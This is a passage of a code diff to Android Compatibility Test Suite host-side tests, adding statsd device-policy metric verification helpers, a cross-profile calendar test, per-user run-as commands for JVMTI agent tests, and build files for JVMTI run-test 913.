+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -1256,7 +1256,7 @@
}
public void testUnlockWorkProfile_deviceWidePassword() throws Exception{
- if (!mHasFeature) {
+ if (!mHasFeature || !mSupportsFbe) {
return;
}
String password = "0000";
@@ -1326,6 +1326,11 @@
}
}
+ public void testCrossProfileCalendarPackage() throws Exception {
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testCrossPrfileCalendarPackage", mProfileUserId);
+ }
+
private void verifyUnifiedPassword(boolean unified) throws DeviceNotAvailableException {
final String testMethod =
unified ? "testUsingUnifiedPassword" : "testNotUsingUnifiedPassword";
@@ -1480,7 +1485,7 @@
userId);
}
- // Enable / Disable cross profile caller id
+ // Enable / Disable
public void setCallerIdEnabled(boolean enabled) throws DeviceNotAvailableException {
if (enabled) {
runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
new file mode 100644
index 0000000..3262632
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
@@ -0,0 +1,249 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy.metrics;
+
+import static junit.framework.Assert.assertTrue;
+
+import com.android.internal.os.StatsdConfigProto.AtomMatcher;
+import com.android.internal.os.StatsdConfigProto.EventMetric;
+import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog.ConfigMetricsReport;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.os.StatsLog.StatsLogReport;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.google.common.io.Files;
+import com.google.protobuf.InvalidProtocolBufferException;
+import com.google.protobuf.MessageLite;
+import com.google.protobuf.Parser;
+import java.io.File;
+import java.util.ArrayList;
+import java.util.Comparator;
+import java.util.List;
+import java.util.function.Predicate;
+import java.util.stream.Collectors;
+
+/**
+ * Tests Statsd atoms.
+ * <p/>
+ * Uploads statsd event configs, retrieves logs from host side and validates them
+ * against specified criteria.
+ */
+class AtomMetricTester {
+ private static final String UPDATE_CONFIG_CMD = "cat %s | cmd stats config update %d";
+ private static final String DUMP_REPORT_CMD =
+ "cmd stats dump-report %d --include_current_bucket --proto";
+ private static final String REMOVE_CONFIG_CMD = "cmd stats config remove %d";
+ /** ID of the config, which evaluates to -1572883457. */
+ private static final long CONFIG_ID = "cts_config".hashCode();
+
+ private final ITestDevice mDevice;
+
+ AtomMetricTester(ITestDevice device) {
+ mDevice = device;
+ }
+
+ void cleanLogs() throws Exception {
+ if (isStatsdDisabled()) {
+ return;
+ }
+ removeConfig(CONFIG_ID);
+ getReportList(); // Clears data.
+ }
+
+ private static StatsdConfig.Builder createConfigBuilder() {
+ return StatsdConfig.newBuilder().setId(CONFIG_ID)
+ .addAllowedLogSource("AID_SYSTEM");
+ }
+
+ void createAndUploadConfig(int atomTag) throws Exception {
+ StatsdConfig.Builder conf = createConfigBuilder();
+ addAtomEvent(conf, atomTag);
+ uploadConfig(conf);
+ }
+
+ private void uploadConfig(StatsdConfig.Builder config) throws Exception {
+ uploadConfig(config.build());
+ }
+
+ private void uploadConfig(StatsdConfig config) throws Exception {
+ CLog.d("Uploading the following config:\n" + config.toString());
+ File configFile = File.createTempFile("statsdconfig", ".config");
+ configFile.deleteOnExit();
+ Files.write(config.toByteArray(), configFile);
+ String remotePath = "/data/local/tmp/" + configFile.getName();
+ mDevice.pushFile(configFile, remotePath);
+ mDevice.executeShellCommand(String.format(UPDATE_CONFIG_CMD, remotePath, CONFIG_ID));
+ mDevice.executeShellCommand("rm " + remotePath);
+ }
+
+ private void removeConfig(long configId) throws Exception {
+ mDevice.executeShellCommand(String.format(REMOVE_CONFIG_CMD, configId));
+ }
+
+ /**
+ * Gets the statsd report and sorts it.
+ * Note that this also deletes that report from statsd.
+ */
+ List<EventMetricData> getEventMetricDataList() throws Exception {
+ ConfigMetricsReportList reportList = getReportList();
+ return getEventMetricDataList(reportList);
+ }
+
+ /**
+ * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
+ * contain a single report).
+ */
+ private List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
+ throws Exception {
+ assertTrue("Expected one report", reportList.getReportsCount() == 1);
+ final ConfigMetricsReport report = reportList.getReports(0);
+ final List<StatsLogReport> metricsList = report.getMetricsList();
+ return metricsList.stream()
+ .flatMap(statsLogReport -> statsLogReport.getEventMetrics().getDataList().stream())
+ .sorted(Comparator.comparing(EventMetricData::getElapsedTimestampNanos))
+ .peek(eventMetricData -> {
+ CLog.d("Atom at " + eventMetricData.getElapsedTimestampNanos()
+ + ":\n" + eventMetricData.getAtom().toString());
+ })
+ .collect(Collectors.toList());
+ }
+
+ /** Gets the statsd report. Note that this also deletes that report from statsd. */
+ private ConfigMetricsReportList getReportList() throws Exception {
+ try {
+ return getDump(ConfigMetricsReportList.parser(),
+ String.format(DUMP_REPORT_CMD, CONFIG_ID));
+ } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+ CLog.e("Failed to fetch and parse the statsd output report. "
+ + "Perhaps there is not a valid statsd config for the requested "
+ + "uid=" + getHostUid() + ", id=" + CONFIG_ID + ".");
+ throw (e);
+ }
+ }
+
+ /** Creates a FieldValueMatcher.Builder corresponding to the given field. */
+ private static FieldValueMatcher.Builder createFvm(int field) {
+ return FieldValueMatcher.newBuilder().setField(field);
+ }
+
+ private void addAtomEvent(StatsdConfig.Builder conf, int atomTag) throws Exception {
+ addAtomEvent(conf, atomTag, new ArrayList<FieldValueMatcher.Builder>());
+ }
+
+ /**
+ * Adds an event to the config for an atom that matches the given keys.
+ *
+ * @param conf configuration
+ * @param atomTag atom tag (from atoms.proto)
+ * @param fvms list of FieldValueMatcher.Builders to attach to the atom. May be null.
+ */
+ private void addAtomEvent(StatsdConfig.Builder conf, int atomTag,
+ List<FieldValueMatcher.Builder> fvms) throws Exception {
+
+ final String atomName = "Atom" + System.nanoTime();
+ final String eventName = "Event" + System.nanoTime();
+
+ SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(atomTag);
+ if (fvms != null) {
+ for (FieldValueMatcher.Builder fvm : fvms) {
+ sam.addFieldValueMatcher(fvm);
+ }
+ }
+ conf.addAtomMatcher(AtomMatcher.newBuilder()
+ .setId(atomName.hashCode())
+ .setSimpleAtomMatcher(sam));
+ conf.addEventMetric(EventMetric.newBuilder()
+ .setId(eventName.hashCode())
+ .setWhat(atomName.hashCode()));
+ }
+
+ /**
+ * Removes all elements from data prior to the first occurrence of an element for which
+ * the <code>atomMatcher</code> predicate returns <code>true</code>.
+ * After this method is called, the first element of data (if non-empty) is guaranteed to be
+ * an element in state.
+ *
+ * @param atomMatcher predicate that takes an Atom and returns <code>true</code> if it
+ * fits criteria.
+ */
+ static void dropWhileNot(List<EventMetricData> metricData, Predicate<Atom> atomMatcher) {
+ int firstStateIdx;
+ for (firstStateIdx = 0; firstStateIdx < metricData.size(); firstStateIdx++) {
+ final Atom atom = metricData.get(firstStateIdx).getAtom();
+ if (atomMatcher.test(atom)) {
+ break;
+ }
+ }
+ if (firstStateIdx == 0) {
+ // First first element already is in state, so there's nothing to do.
+ return;
+ }
+ metricData.subList(0, firstStateIdx).clear();
+ }
+
+ /** Returns the UID of the host, which should always either be SHELL (2000) or ROOT (0). */
+ private int getHostUid() throws DeviceNotAvailableException {
+ String strUid = "";
+ try {
+ strUid = mDevice.executeShellCommand("id -u");
+ return Integer.parseInt(strUid.trim());
+ } catch (NumberFormatException e) {
+ CLog.e("Failed to get host's uid via shell command. Found " + strUid);
+ // Fall back to alternative method...
+ if (mDevice.isAdbRoot()) {
+ return 0; // ROOT
+ } else {
+ return 2000; // SHELL
+ }
+ }
+ }
+
+ /**
+ * Execute a shell command on device and get the results of
+ * that as a proto of the given type.
+ *
+ * @param parser A protobuf parser object. e.g. MyProto.parser()
+ * @param command The adb shell command to run. e.g. "dumpsys fingerprint --proto"
+ *
+ * @throws DeviceNotAvailableException If there was a problem communicating with
+ * the test device.
+ * @throws InvalidProtocolBufferException If there was an error parsing
+ * the proto. Note that a 0 length buffer is not necessarily an error.
+ */
+ private <T extends MessageLite> T getDump(Parser<T> parser, String command)
+ throws DeviceNotAvailableException, InvalidProtocolBufferException {
+ final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+ mDevice.executeShellCommand(command, receiver);
+ return parser.parseFrom(receiver.getOutput());
+ }
+
+ boolean isStatsdDisabled() throws DeviceNotAvailableException {
+ // if ro.statsd.enable doesn't exist, statsd is running by default.
+ if ("false".equals(mDevice.getProperty("ro.statsd.enable"))
+ && "true".equals(mDevice.getProperty("ro.config.low_ram"))) {
+ CLog.d("Statsd is not enabled on the device");
+ return true;
+ }
+ return false;
+ }
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java
new file mode 100644
index 0000000..264bd08
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy.metrics;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.device.ITestDevice;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Objects;
+
+/**
+ * Helper class to assert <code>DevicePolicyEvent</code> atoms were logged.
+ */
+public final class DevicePolicyEventLogVerifier {
+
+ public interface Action {
+ void apply() throws Exception;
+ }
+
+ private static final int WAIT_TIME_SHORT = 500;
+
+ /**
+ * Asserts that <code>expectedLogs</code> were logged as a result of executing
+ * <code>action</code>, in the same order.
+ */
+ public static void assertMetricsLogged(ITestDevice device, Action action,
+ DevicePolicyEventWrapper... expectedLogs) throws Exception {
+ final AtomMetricTester logVerifier = new AtomMetricTester(device);
+ if (logVerifier.isStatsdDisabled()) {
+ return;
+ }
+ try {
+ logVerifier.cleanLogs();
+ logVerifier.createAndUploadConfig(Atom.DEVICE_POLICY_EVENT_FIELD_NUMBER);
+ action.apply();
+
+ Thread.sleep(WAIT_TIME_SHORT);
+
+ final List<EventMetricData> data = logVerifier.getEventMetricDataList();
+ for (DevicePolicyEventWrapper expectedLog : expectedLogs) {
+ assertExpectedMetricLogged(data, expectedLog);
+ }
+ } finally {
+ logVerifier.cleanLogs();
+ }
+ }
+
+ private static void assertExpectedMetricLogged(List<EventMetricData> data,
+ DevicePolicyEventWrapper expectedLog) {
+ final List<DevicePolicyEventWrapper> closestMatches = new ArrayList<>();
+ AtomMetricTester.dropWhileNot(data, atom -> {
+ final DevicePolicyEventWrapper actualLog =
+ DevicePolicyEventWrapper.fromDevicePolicyAtom(atom.getDevicePolicyEvent());
+ if (actualLog.getEventId() == expectedLog.getEventId()) {
+ closestMatches.add(actualLog);
+ }
+ return Objects.equals(actualLog, expectedLog);
+ });
+ assertWithMessage("Expected metric was not logged.")
+ .that(closestMatches).contains(expectedLog);
+ }
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventWrapper.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventWrapper.java
new file mode 100644
index 0000000..71566d0
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventWrapper.java
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy.metrics;
+
+import android.stats.devicepolicy.StringList;
+import android.stats.devicepolicy.EventId;
+import com.android.os.AtomsProto.DevicePolicyEvent;
+import java.util.Arrays;
+import java.util.Locale;
+import java.util.Objects;
+
+/**
+ * Wrapper over <code>DevicePolicyEvent</code> atom as defined in
+ * <code>frameworks/base/cmds/statsd/src/atoms.proto</code>.
+ * @see Builder
+ */
+public final class DevicePolicyEventWrapper {
+ private final int mEventId;
+ private final int mIntValue;
+ private final boolean mBooleanValue;
+ private final long mTimePeriodMs;
+ private final String[] mStringArrayValue;
+ private final String mAdminPackageName;
+
+ private DevicePolicyEventWrapper(Builder builder) {
+ mEventId = builder.mEventId;
+ mIntValue = builder.mIntValue;
+ mBooleanValue = builder.mBooleanValue;
+ mTimePeriodMs = builder.mTimePeriodMs;
+ mStringArrayValue = builder.mStringArrayValue;
+ mAdminPackageName = builder.mAdminPackageName;
+ }
+
+ /**
+ * Constructs a {@link DevicePolicyEventWrapper} from a <code>DevicePolicyEvent</code> atom.
+ */
+ static DevicePolicyEventWrapper fromDevicePolicyAtom(DevicePolicyEvent atom) {
+ return new Builder(atom.getEventId().getNumber())
+ .setAdminPackageName(atom.getAdminPackageName())
+ .setInt(atom.getIntegerValue())
+ .setBoolean(atom.getBooleanValue())
+ .setTimePeriod(atom.getTimePeriodMillis())
+ .setStrings(getStringArray(atom.getStringListValue()))
+ .build();
+ }
+
+ /**
+ * Converts a <code>StringList</code> proto object to <code>String[]</code>.
+ */
+ private static String[] getStringArray(StringList stringList) {
+ final int count = stringList.getStringValueCount();
+ if (count == 0) {
+ return null;
+ }
+ final String[] result = new String[count];
+ for (int i = 0; i < count; i++) {
+ result[i] = stringList.getStringValue(i);
+ }
+ return result;
+ }
+
+ int getEventId() {
+ return mEventId;
+ }
+
+ @Override
+ public boolean equals(Object obj) {
+ if (!(obj instanceof DevicePolicyEventWrapper)) {
+ return false;
+ }
+ final DevicePolicyEventWrapper other = (DevicePolicyEventWrapper) obj;
+ return mEventId == other.mEventId
+ && mIntValue == other.mIntValue
+ && mBooleanValue == other.mBooleanValue
+ && mTimePeriodMs == other.mTimePeriodMs
+ && Objects.equals(mAdminPackageName, other.mAdminPackageName)
+ && Arrays.equals(mStringArrayValue, other.mStringArrayValue);
+ }
+
+ @Override
+ public String toString() {
+ return String.format(Locale.getDefault(), "{ eventId: %s(%d), intValue: %d, "
+ + "booleanValue: %s, timePeriodMs: %d, adminPackageName: %s, "
+ + "stringArrayValue: %s }",
+ EventId.forNumber(mEventId), mEventId, mIntValue, mBooleanValue,
+ mTimePeriodMs, mAdminPackageName, Arrays.toString(mStringArrayValue));
+ }
+
+ /**
+ * Builder class for {@link DevicePolicyEventWrapper}.
+ */
+ public static class Builder {
+ private final int mEventId;
+ private int mIntValue;
+ private boolean mBooleanValue;
+ private long mTimePeriodMs;
+ private String[] mStringArrayValue;
+ // Default value for Strings when getting dump is "", not null.
+ private String mAdminPackageName = "";
+
+ public Builder(int eventId) {
+ this.mEventId = eventId;
+ }
+
+ public Builder setInt(int value) {
+ mIntValue = value;
+ return this;
+ }
+
+ public Builder setBoolean(boolean value) {
+ mBooleanValue = value;
+ return this;
+ }
+
+ public Builder setTimePeriod(long timePeriodMs) {
+ mTimePeriodMs = timePeriodMs;
+ return this;
+ }
+
+ public Builder setStrings(String... values) {
+ mStringArrayValue = values;
+ return this;
+ }
+
+ public Builder setStrings(String value, String[] values) {
+ if (values == null) {
+ throw new IllegalArgumentException("values cannot be null.");
+ }
+ mStringArrayValue = new String[values.length + 1];
+ mStringArrayValue[0] = value;
+ System.arraycopy(values, 0, mStringArrayValue, 1, values.length);
+ return this;
+ }
+
+ public Builder setStrings(String value1, String value2, String[] values) {
+ if (values == null) {
+ throw new IllegalArgumentException("values cannot be null.");
+ }
+ mStringArrayValue = new String[values.length + 2];
+ mStringArrayValue[0] = value1;
+ mStringArrayValue[1] = value2;
+ System.arraycopy(values, 0, mStringArrayValue, 2, values.length);
+ return this;
+ }
+
+ public Builder setAdminPackageName(String packageName) {
+ mAdminPackageName = packageName;
+ return this;
+ }
+
+ public DevicePolicyEventWrapper build() {
+ return new DevicePolicyEventWrapper(this);
+ }
+ }
+}
diff --git a/hostsidetests/dexmetadata/host/AndroidTest.xml b/hostsidetests/dexmetadata/host/AndroidTest.xml
index 3f1603d..a370280 100644
--- a/hostsidetests/dexmetadata/host/AndroidTest.xml
+++ b/hostsidetests/dexmetadata/host/AndroidTest.xml
@@ -15,7 +15,7 @@
-->
<configuration description="Config for CTS Dex Metadata host test cases">
<option name="test-suite-tag" value="cts" />
- <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="component" value="art" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsDexMetadataDeviceTestApp.apk" />
diff --git a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
index a2449422b..a3e51e1 100644
--- a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
+++ b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
@@ -228,8 +228,8 @@
mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers");
mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers_gles");
mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layer_app");
- mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers", "\'\"\"\'");
- mDevice.executeAdbCommand("shell", "setprop", "debug.gles.layers", "\'\"\"\'");
+ mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers", "\'\'");
+ mDevice.executeAdbCommand("shell", "setprop", "debug.gles.layers", "\'\'");
}
/**
diff --git a/hostsidetests/jvmti/TEST_MAPPING b/hostsidetests/jvmti/TEST_MAPPING
index 23787d5..43f24b1 100644
--- a/hostsidetests/jvmti/TEST_MAPPING
+++ b/hostsidetests/jvmti/TEST_MAPPING
@@ -37,6 +37,9 @@
"name": "CtsJvmtiRunTest912HostTestCases"
},
{
+ "name": "CtsJvmtiRunTest913HostTestCases"
+ },
+ {
"name": "CtsJvmtiRunTest914HostTestCases"
},
{
diff --git a/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java b/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
index 4dfc323..3af0b9e 100644
--- a/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
+++ b/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
@@ -49,6 +49,7 @@
private CompatibilityBuildHelper mBuildHelper;
private IAbi mAbi;
+ private int mCurrentUser;
@Override
public void setBuild(IBuildInfo arg0) {
@@ -66,6 +67,11 @@
private final static String AGENT = "libctsjvmtiattachagent.so";
+ @Override
+ protected void setUp() throws Exception {
+ mCurrentUser = getDevice().getCurrentUser();
+ }
+
public void testJvmtiAttachDuringBind() throws Exception {
runJvmtiAgentLoadTest((ITestDevice device, String pkg, String apk, String abiName) -> {
try {
@@ -79,7 +85,8 @@
public void testJvmtiAttachEarly() throws Exception {
runJvmtiAgentLoadTest((ITestDevice device, String pkg, String apk, String abiName) -> {
try {
- String pwd = device.executeShellCommand("run-as " + pkg + " pwd");
+ String pwd = device.executeShellCommand(
+ "run-as " + pkg + " --user " + mCurrentUser + " pwd");
if (pwd == null) {
throw new RuntimeException("pwd failed");
}
@@ -125,7 +132,8 @@
public void testJvmtiAgentAppExternal() throws Exception {
runJvmtiAgentLoadTest((ITestDevice device, String pkg, String apk, String abiName) -> {
try {
- String pwd = device.executeShellCommand("run-as " + pkg + " pwd");
+ String pwd = device.executeShellCommand(
+ "run-as " + pkg + " --user " + mCurrentUser + " pwd");
if (pwd == null) {
throw new RuntimeException("pwd failed");
}
@@ -224,13 +232,14 @@
}
String runAsCp = device.executeShellCommand(
- "run-as " + pkg + " cp " + libInTmp + " " + libInDataData);
+ "run-as " + pkg + " --user " + mCurrentUser +
+ " cp " + libInTmp + " " + libInDataData);
if (runAsCp != null && !runAsCp.trim().isEmpty()) {
throw new RuntimeException(runAsCp.trim());
}
- String runAsChmod = device
- .executeShellCommand("run-as " + pkg + " chmod a+x " + libInDataData);
+ String runAsChmod = device.executeShellCommand(
+ "run-as " + pkg + " --user " + mCurrentUser + " chmod a+x " + libInDataData);
if (runAsChmod != null && !runAsChmod.trim().isEmpty()) {
throw new RuntimeException(runAsChmod.trim());
}
diff --git a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
index c4e8916..68e9aab 100644
--- a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
+++ b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
@@ -65,6 +65,7 @@
private CompatibilityBuildHelper mBuildHelper;
private IAbi mAbi;
+ private int mCurrentUser;
@Override
public void setBuild(IBuildInfo arg0) {
@@ -76,6 +77,11 @@
mAbi = arg0;
}
+ @Override
+ protected void setUp() throws Exception {
+ mCurrentUser = getDevice().getCurrentUser();
+ }
+
public void testJvmti() throws Exception {
final ITestDevice device = getDevice();
@@ -150,7 +156,8 @@
public void prepare() {
try {
- String pwd = mDevice.executeShellCommand("run-as " + mPkg + " pwd");
+ String pwd = mDevice.executeShellCommand(
+ "run-as " + mPkg + " --user " + mCurrentUser + " pwd");
if (pwd == null) {
throw new RuntimeException("pwd failed");
}
@@ -202,13 +209,15 @@
}
String runAsCp = mDevice.executeShellCommand(
- "run-as " + mPkg + " cp " + libInTmp + " " + libInDataData);
+ "run-as " + mPkg + " --user " + mCurrentUser +
+ " cp " + libInTmp + " " + libInDataData);
if (runAsCp != null && !runAsCp.trim().isEmpty()) {
throw new RuntimeException(runAsCp.trim());
}
- String runAsChmod = mDevice
- .executeShellCommand("run-as " + mPkg + " chmod a+x " + libInDataData);
+ String runAsChmod = mDevice.executeShellCommand(
+ "run-as " + mPkg + " --user " + mCurrentUser +
+ " chmod a+x " + libInDataData);
if (runAsChmod != null && !runAsChmod.trim().isEmpty()) {
throw new RuntimeException(runAsChmod.trim());
}
diff --git a/hostsidetests/jvmti/run-tests/Android.mk b/hostsidetests/jvmti/run-tests/Android.mk
index 95d002e..9794ae2 100644
--- a/hostsidetests/jvmti/run-tests/Android.mk
+++ b/hostsidetests/jvmti/run-tests/Android.mk
@@ -54,6 +54,7 @@
src/911-get-stack-trace/src/art/ThreadListTraces.java \
src/912-classes/src-art/art/Test912.java \
src/912-classes/src-art/art/DexData.java \
+ src/913-heaps/src/art/Test913.java \
src/914-hello-obsolescence/src/art/Test914.java \
src/915-obsolete-2/src/art/Test915.java \
src/917-fields-transformation/src/art/Test917.java \
@@ -146,6 +147,7 @@
910 \
911 \
912 \
+ 913 \
914 \
915 \
917 \
diff --git a/hostsidetests/jvmti/run-tests/test-913/Android.mk b/hostsidetests/jvmti/run-tests/test-913/Android.mk
new file mode 100644
index 0000000..3c87a22
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/Android.mk
@@ -0,0 +1,21 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest913HostTestCases
+
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
new file mode 100644
index 0000000..a24a927
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="art" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsJvmtiRunTest913DeviceApp.apk" />
+ </target_preparer>
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsJvmtiRunTest913HostTestCases.jar" />
+ <option name="set-option" value="test-file-name:CtsJvmtiRunTest913DeviceApp.apk" />
+ <option name="set-option" value="package-name:android.jvmti.cts.run_test_913" />
+ <option name="runtime-hint" value="8s"/>
+ </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-913/app/Android.mk b/hostsidetests/jvmti/run-tests/test-913/app/Android.mk
new file mode 100644
index 0000000..a43ad90
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest913DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-913/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-913/app/AndroidManifest.xml
new file mode 100644
index 0000000..bd183b8
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.jvmti.cts.run_test_913">
